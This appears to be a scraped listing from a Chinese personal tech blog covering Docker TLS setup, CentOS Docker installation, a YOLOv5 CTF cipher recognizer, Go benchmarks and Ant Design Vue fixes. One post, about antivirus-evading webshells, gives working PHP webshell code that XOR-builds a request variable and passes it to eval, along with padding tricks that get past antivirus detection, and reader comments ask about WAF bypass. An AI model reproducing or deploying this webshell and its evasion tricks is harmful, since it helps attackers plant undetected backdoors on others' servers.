-
开启docker remote api 并添加证书
配置证书(网上找到一个好用的脚本,直接梭哈) #!/bin/sh export PASSWORD="123123" export COUNTRY="CN" export STATE="xxx" export CITY="xxx" export ORGANIZATION="xxx" export ORGANIZATIONAL_UNIT="bugku" export COMMON_NAME="aman.docker" export EMAIL="61898864@qq.com" export HOST_NAME="$COMMON_NAME" export IP="x.x.x.x" export DIR="/etc/docker" cd $DIR # Generate CA openssl genrsa -aes256 -passout "pass:$PASSWORD" -out "$DIR/ca-key.pem" 4096 openssl req -new -x509 -days 3650 -key "$DIR/ca-key.pem" -sha256 -out "$DIR/ca.pem" -passin "pass:$PASSWORD" -subj "/C=$COUNTRY/ST=$STATE/L=$CITY/O=$ORGANIZATION/OU=$ORGANIZATIONAL_UNIT/CN=$COMMON_NAME/emailAddress=$EMAIL" # Generate Server Certs openssl genrsa -out "$DIR/server-key.pem" 4096 openssl req -subj "/CN=$HOST_NAME" -sha256 -new -key "$DIR/server-key.pem" -out $DIR/server.csr echo "subjectAltName = DNS:$HOST_NAME,IP:$IP,IP:0.0.0.0" > $DIR/server.cnf echo "extendedKeyUsage = serverAuth" >> $DIR/server.cnf openssl x509 -req -days 3650 -sha256 -in $DIR/server.csr -passin "pass:$PASSWORD" -CA "$DIR/ca.pem" -CAkey "$DIR/ca-key.pem" -CAcreateserial -out "$DIR/server-cert.pem" -extfile $DIR/server.cnf # Generate Client Certs openssl genrsa -out "$DIR/client-key.pem" 4096 openssl req -subj '/CN=client' -new -key "$DIR/client-key.pem" -out $DIR/client.csr echo "extendedKeyUsage = clientAuth" > $DIR/client.cnf openssl x509 -req -days 3650 -sha256 -in $DIR/client.csr -passin "pass:$PASSWORD" -CA "$DIR/ca.pem" -CAkey "$DIR/ca-key.pem" -CAcreateserial -out "$DIR/client-cert.pem" -extfile $DIR/client.cnf # Modify Certs Permission chmod 0400 $DIR/*-key.pem chmod 0444 $DIR/ca.pem $DIR/*-cert.pem # Remove Temporary Files rm -f $DIR/*.csr $DIR/*.cnf 修改Docker配置文件 #找到/lib/systemd/system/docker.service中的这一行,改为 ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock #后面加上如下参数 ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --tlsverify \ --tlscacert=/etc/docker/ca.pem \ --tlscert=/etc/docker/server-cert.pem \ --tlskey=/etc/docker/server-key.pem \ -H tcp://0.0.0.0:2376 重启Doker systemctl daemon-reload && systemctl restart docker 验证 docker --tlsverify --tlscacert=/etc/docker/ca.pem --tlscert=/etc/docker/client-cert.pem --tlskey=/etc/docker/client-key.pem -H x.x.x.x:2376 version2023-6-7 0 11 标签: docker -
CentOS7 安装docker
安装gcc yum -y install gcc yum -y install gcc-c++ 卸载旧版(没有可忽略) yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-selinux \ docker-engine-selinux \ docker-engine \ docker-ce 安装软件包 yum install -y yum-utils 设置镜像仓库 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 更新软件包索引 yum makecache fast 安装docker yum -y install docker-ce docker-ce-cli containerd.io 启动docker systemctl start docker 加入开机启动 systemctl enable docker2023-6-7 0 11 标签: docker -
golang+tensorflow 实现图片鉴黄
吐槽:突然有点理解宝马(我高中朋友)和唐马儒为什么会说出那样的话了。 正文开始: 站在巨人的肩膀上,没啥技术可言。 主要是给想用golang+tensorflow的伙计们说一声,windows环境下就不要想着用golang跑了,反正我搞了两天没搞出来。 我最终解决方案还是 python训练,模型保存下来 给go调用。 而且linux+go+tensorflow。 打包成docker,目录映射其实开发起来也挺方便 成果如下(第一个中括号是概率): 数据集来源:https://github.com/alex000kim/nsfw_data_scraper 或者github自己找 -
免杀webshell过程中遇到的一些骚操作。
有时候发现安全防护软件真的挺奇葩的。 之前写过一个免杀webshell,用的是assert,但php高版本已经不支持了。 所以打算写个基于eval的webshell。 由于不能用$$a 这种变量绕过。所以只能直接和杀毒软件硬刚eval。 eval(base64_decode(...)); 这种格式已经用烂了。只要检测这种函数组合必报毒。 所以打算用eval(diy_fun(...));的形式绕过 写的过程中发现一个很奇怪的设定 举个例子 这种就报毒 <?php function base64decrypt($str_s) { return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 然后下面这种就不报毒。 <?php function base64decrypt($str_s) { $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 我本地测试了好多次,发现确实与函数中代码多少有关系。 然后继续测试是行数问题还是字符串数量 下面这个不报毒 <?php function base64decrypt($str_s) { $str_s = str_replace("1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "", ""); return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 不过问题不是这么简单,不仅仅是函数内容的数量。 比如我把变量$str_s 改成$a。就要在str_replace中的“1111...”的字符串中加上相应的数量。 后来发现该函数名的长短也会受到影响。 这个数量大概实在410 左右。 -
【十年脑血栓系列】负数转正数 abs和0- (负数)谁的效率更高
本人处女座,写代码极其恶心,不是恶心别人,而是恶心自己。不知道啥时候脑子就抽了,有些没有意义的问题非要弄个明白,好多次都睡下了,凌晨两三点突然想到某个问题,然后起床开电脑,测试。属实给我恶心坏了。he tui ~ 就在刚在,用golang写brainfuck加解密的时候,脑子抽了一下。 就因为在取绝对值时产生了一个恶心的想法: 问下面两种写法哪种更好,运算效率更快: 1、b=math.Abs(float64(diff)) 2、b=0-diff 不严谨的答案:都一样 严禁的答案:没有(自己测) 测试脚本 func t() { start := time.Now() // 获取当前时间 for i := -1.0; i > -1000000000; i-- { _ = 0 - i } elapsed := time.Since(start) fmt.Println("t函数执行完成耗时:", elapsed) } func t2() { start := time.Now() for i := -1.0; i > -1000000000; i-- { _ = math.Abs(i) } elapsed := time.Since(start) fmt.Println("t2函数执行完成耗时:", elapsed) } //t函数执行完成耗时: 956.5709ms //t2函数执行完成耗时: 952.8599ms //t函数执行完成耗时: 953.1113ms //t2函数执行完成耗时: 959.0932ms //t2函数执行完成耗时: 952.184ms //t函数执行完成耗时: 950.48ms //t2函数执行完成耗时: 951.7409ms //t函数执行完成耗时: 950.9821ms ... ... 测了多次 耗时互有高低,但差别都不大 然后安心的用0-diff写法(原因就是书写效率高),继续耕耘,美美哒~2022-12-5 0 744 标签: golang -
yolov5实现CTF自动解题之----字符密码
最近学习了go语言。 打算开发个ctf自动解题脚本作为golang的处女作。 其中图片解密中有一个功能是自动识别图片内容并分析,如果发现类似猪圈密码、军旗、手语、埃及字符之类的可以自动识别。 首先想到的是opencv的模板识别,根据百度的资料 先把图片二值化然后生成一个个的模板 原图 二值化 模板(因为都删了这个是写文章时生成的案例,实际操作需要每个字符都拆分出来) 识别结果 看效果图识别效果简直完美,但是假如换了下面这张图,就GG了,模板识别的弊端看效果图 识别效果简直完美,但是假如换了下面这张图,就GG了 然后又开始用yolov5识别。 按照百度安装、踩坑、爬坑、踩坑、爬坑 终于能成功运行了。 用之前使用opencv生成的单个元素,生成了300多张训练集。最终跑出来了 识别效果如下 然后总结下过程中遇到的坑,希望大家或者以后自己犯错的时候能够来爬坑。 坑1、 opencv的模板识别的可变性不强,识别的图片必须是被识别图片中的一部分。 坑2、生成yolov训练集的时候 标注的坐标 0 0.125000 0.125000 0.078125 0.078125 第一个是标签ID从0开始 对应训练项目的yaml文件中的name。 第二个是标注的x坐标,注意这x坐标不是标注的左上角而是标注的中心,然后用标注的中心坐标除以图片的宽度 第三个是标注的y坐标,和x坐标一样 是标注的中心 然后除图片的高度 第四个是标注的宽度,然后除以图片宽度 第五个是标注的高度,然后除以图片的高度 坑3、 #如果训练的时候发现慢检查是不是cpu在跑,我下载yolov5运行默认就是cpu #输入库 import torch #查看版本 print(torch.__version__) #查看gpu是否可用 true gpu false cpu #修改方法自行百度,过程耗时1-2小时。需要下载安装大量数据 坑4、 识别的时候发现yolov会吧对称的图形识别成一个。 这是训练的时候开启了训练增强,默认是开着的,如不需要关掉 坑5、... 坑6、... 坑7、... 坑8、.. 坑9、. 坑N、吃饭了,后续写(我了解我,说后续写基本上不会写了。反正搞这个玩意一直就是爬坑踩坑爬坑踩坑。 而这句话说不定也是一个隐藏的坑,说不定以后啥时候又踩了坑,回来翻博客,发下自己因为懒没写全。GG) 补充 深渊巨坑 最大的坑就是,我尼玛找的猪圈密码竟然是不标准的,我曰,我说怎么有几个字符怎么训练识别率还是不高,艹服了2022-11-27 0 659 -
YOLOV5数据增强模块参数说明
# 优化器相关 lr0: 0.01 # initial learning rate (SGD=1E-2, Adam=1E-3) 初始学习率 lrf: 0.2 # final OneCycleLR learning rate (lr0 * lrf) 余弦退火超参数 momentum: 0.937 # SGD momentum/Adam beta1 学习率动量 weight_decay: 0.0005 # optimizer weight decay 5e-4 权重衰减系数 # 预热学习相关 warmup_epochs: 3.0 # warmup epochs (fractions ok) 预热学习epoch warmup_momentum: 0.8 # warmup initial momentum 预热学习率动量 warmup_bias_lr: 0.1 # warmup initial bias lr 预热学习率 # 不同损失函数权重,以及其他损失函数相关内容 box: 0.05 # box loss gain giou损失的系数 cls: 0.5 # cls loss gain 分类损失的系数 cls_pw: 1.0 # cls BCELoss positive_weight 分类BCELoss中正样本的权重 obj: 1.0 # obj loss gain (scale with pixels) 有无物体损失的系数 obj_pw: 1.0 # obj BCELoss positive_weight 有无物体BCELoss中正样本的权重 iou_t: 0.20 # IoU training threshold 标签与anchors的iou阈值iou training threshold # anchor锚框 anchor_t: 4.0 # anchor-multiple threshold 标签的长h宽w/anchor的长h_a宽w_a阈值, 即h/h_a, w/w_a都要在(1/4.0, 4.0)之间 # anchors: 3 # anchors per output layer (0 to ignore) # 数据增强相关 - 色彩转换 fl_gamma: 0.0 # focal loss gamma (efficientDet default gamma=1.5) hsv_h: 0.015 # image HSV-Hue augmentation (fraction) 色调 hsv_s: 0.7 # image HSV-Saturation augmentation (fraction) 饱和度 hsv_v: 0.4 # image HSV-Value augmentation (fraction) 明度 # 数据增强相关:旋转、平移、扭曲等 degrees: 0.0 # image rotation (+/- deg) 旋转角度 translate: 0.1 # image translation (+/- fraction) 水平和垂直平移 scale: 0.5 # image scale (+/- gain) 缩放 shear: 0.0 # image shear (+/- deg) 剪切 perspective: 0.0 # image perspective (+/- fraction), range 0-0.001 透视变换参数 # 数据增强相关 - 翻转 flipud: 0.0 # image flip up-down (probability) 上下翻转概率 fliplr: 0.5 # image flip left-right (probability) 左右翻转概率 # 数据增强相关 - mosaic/mixup mosaic: 1.0 # image mosaic (probability) 进行mosaic的概率(一幅图像融合四幅图像) mixup: 0.0 # image mixup (probability) 进行mixup的概率(对两个样本-标签数据对按比例相加后生成新的样本-标签数据)2022-11-27 0 587 标签: YOLOV -
Ant Design Vue 3日期组件报错 TypeError: clone.weekday is not a function
Ant Design Vue 3日期组件在初始化赋值时 报错:TypeError: clone.weekday is not a function 解决方法 import dayjs from "dayjs"; import weekday from "dayjs/plugin/weekday" import localeData from "dayjs/plugin/localeData" dayjs.extend(weekday) dayjs.extend(localeData)2022-5-20 0 1303 标签: vue ant design -
Ant Design Vue 3动态引用图标
在新项目上首次使用了Ant Design Vue 3.2.3 在做动态导航的时候遇到了一个很棘手的问题:无法动态引用图标。 官方给的例子是按需引入的。 <template> <home-outlined /> <setting-filled /> <smile-outlined /> <sync-outlined/> <smile-outlined/> <loading-outlined /> </template> <script> import { defineComponent } from 'vue'; import { HomeOutlined, SettingFilled, SmileOutlined, SyncOutlined, LoadingOutlined } from '@ant-design/icons-vue'; export default defineComponent({ components: { HomeOutlined, SettingFilled, SmileOutlined, SyncOutlined, LoadingOutlined, }, }); </script> 解决方法: 1、新建文件/components/amanIcon.js import {createVNode} from 'vue' import * as ICONS from '@ant-design/icons-vue' export const amanIcon = (props) => { let { icon } = props; icon = icon.split("-").map((g) => { return g[0].toUpperCase() + g.slice(1) }).join('') return createVNode(ICONS[icon]); }; 2、使用场景 <template> //大小驼峰都可以 <amanIcon icon="AppstoreOutlined"> <amanIcon icon="appstore-outlined"> </template> <script> import {amanIcon} from "@/components/amanIcon"; export default defineComponent({ components: { amanIcon, }, }); </script>2022-5-9 0 1127 标签: vue ant design

最新评论
Aman 1年前
@阿巴阿巴:define
阿巴阿巴 1年前
如果waf屏蔽了$该怎么绕啊楼主
Aman 1年前
@啊啊:没有,等有空我完善下打包成插件
啊啊 1年前
博主 这个有视频教程吗 没看懂....
Aman 1年前
@波波:密码随意
波波 1年前
这句话的怎么连接啊,楼主
Aman 2年前
Hi